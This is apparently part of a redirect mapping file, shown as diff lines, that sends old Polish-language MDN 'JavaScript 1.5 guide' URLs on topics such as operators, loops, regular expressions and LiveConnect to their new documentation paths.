+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi /pl/docs/Web/JavaScript/Guide/Regular_Expressions#Working_with_Regular_Expressions
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Globalne_wyszukiwanie,_wielko%C5%9B%C4%87_znak%C3%B3w,_wieloliniowe_wej%C5%9Bcie
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi/Przyk%C5%82ady_wyra%C5%BCe%C5%84_regularnych
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamkni%C4%99ciami /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_zamkni%C4%99ciami
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_metod
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiekt%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_inicjacji_obiektu
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Usuwanie_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_konstruktor%C3%B3w_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/U%C5%BCywanie_argument%C3%B3w_tablicy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wyra%C5%BCenia
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Blok_instrukcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Czytanie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Definiowanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcja_eval /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcja_isFinite /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcja_isNaN /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcje_Number_i_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcje_escape_i_unescape /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Funkcje_predefiniowane:Funkcje_parseInt_i_parseFloat /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcja_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcja_p%C4%99tli:Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_komentarzy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_manipulacji_obiektem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w:Instrukcja_throw /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w:Instrukcja_try...catch /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_break /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_continue /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_continues /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_for /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_label /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_p%C4%99tli:Instrukcja_while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Instrukcje_warunkowe /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Litera%C5%82y /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Nazywanie_Funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:O /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:O_tym_przewodniku /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_i_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_i_w%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_Array /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_Boolean /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_Date /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_Math /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_Number /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_RegExp /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_function /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Obiekty_predefiniowane:Obiekt_logiczny /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operacje_na_%C5%82a%C5%84cuchach /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_arytmetyczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_bitowe /pl/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_logiczne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_por%C3%B3wnywania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_przypisania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_specjalne /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory:Operatory_string /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Komunikacja_mi%C4%99dzy_JavaScript_a_Java /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_JavaScript_a_Java
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Komunikacja_mi%C4%99dzy_Java_a_JavaScript /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Komunikacja_mi%C4%99dzy_Java_a_JavaScript:U%C5%BCywanie_klas_LiveConnect /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Komunikacja_mi%C4%99dzy_Java_a_JavaScript/U%C5%BCywanie_klas_LiveConnect
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Konwersja_typu_danych /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Konwersja_typu_danych:Konwersja_JavaScript_do_Java /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Konwersja_typu_danych:Konwersja_Java_do_JavaScript /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Podgl%C4%85d_klas_LiveConnect:Praca_z_klas%C4%85_opakowuj%C4%85c%C4%85 /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_klas_LiveConnect/Praca_z_klas%C4%85_opakowuj%C4%85c%C4%85
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci:Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
